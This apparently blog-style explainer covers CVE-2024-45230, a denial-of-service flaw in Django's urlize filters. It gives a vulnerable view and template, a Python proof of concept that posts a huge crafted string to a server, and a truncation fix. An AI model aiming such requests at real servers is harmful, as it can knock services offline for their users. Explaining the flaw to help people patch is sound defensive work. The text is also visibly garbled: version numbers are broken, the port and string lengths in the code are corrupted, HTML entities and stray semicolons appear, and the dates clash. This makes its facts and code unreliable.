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Recently, a security issue was found in Django affecting several versions. If you’re using Django 5.1 before 5.1.1, 5. before 5..9, or 4.2 before 4.2.16—pay attention. This long read walks you through what the vulnerability is, how it can affect your project, and even provides a simple exploit example so you understand the risk and can patch your software.

What is CVE-2024-45230?

CVE-2024-45230 is a denial-of-service (DoS) vulnerability in Django’s template filters, specifically urlize() and urlizetrunc(). These filters are designed to scan plain text and turn URLs and email addresses into clickable HTML links.

The problem: With a carefully crafted and extremely large input containing a certain pattern of characters, these filters can be forced into a situation where they take up huge amounts of memory or CPU, potentially knocking your server offline. This is especially dangerous if you use these filters in places that accept user-generated content.

Django 4.2.x before 4.2.16

You are vulnerable. The issue was fixed in these versions, so upgrade as soon as possible.

Reference:
- Django Security Advisory (June 2024)

Simple Example: How the Vulnerability Works

Let’s break this down with a minimal Django template example.

In your template

<!-- In your Django template -->
{{ user_input|urlize }}

Now, say an attacker submits an extremely long string like this (Python pseudo-code)

malicious_input = "a" * 10_000_000 + "http://"; + "b" * 10_000_000

When Django’s urlize() tries to process this, it gets bogged down in the process of parsing such a massive string, especially if it contains certain character patterns that trigger the slowest code paths.

Step 1: Start a Django Project

Create a simple view that renders user input using urlize.

# views.py
from django.shortcuts import render

def home(request):
    if request.method == "POST":
        user_input = request.POST.get("content", "")
    else:
        user_input = ""
    return render(request, "home.html", {"user_input": user_input})

# home.html (template)
<form method="post">
    {% csrf_token %}
    <textarea name="content"></textarea>
    <button type="submit">Test</button>
</form>
Result:

{{ user_input|urlize }}

In a Python shell

import requests

url = "http://localhost:800/";
very_long_string = "a" * (107) + &quot;http://&quot; + &quot;b&quot; * (107)
requests.post(url, data={"content": very_long_string})

Outcome:
Your Django server may hang or spike in CPU/memory usage, possibly crashing or stalling for other users. Repeat requests can quickly knock it offline.

How Did This Happen?

urlize() uses regular expressions and loops to parse for URLs/emails. When you feed it an unusually crafted huge string, the underlying code gets overwhelmed—it’s a classic case of resource exhaustion, resulting in denial of service.


## How To Fix / Patch

- Limit the length of user input before passing it to these filters

safe_input = user_input[:100]  # Only keep first 100 chars

- Django Security Releases – June 2024
- CVE-2024-45230 on MITRE
- Django urlize filter docs

Final Thoughts

CVE-2024-45230 is a great reminder that even simple filters you take for granted can become security liabilities. Review your dependencies, keep your Django version current, and as always—never trust raw user input, especially before passing it through template filters.

Timeline

Published on: 10/08/2024 16:15:11 UTC
Last modified on: 10/30/2024 17:35:09 UTC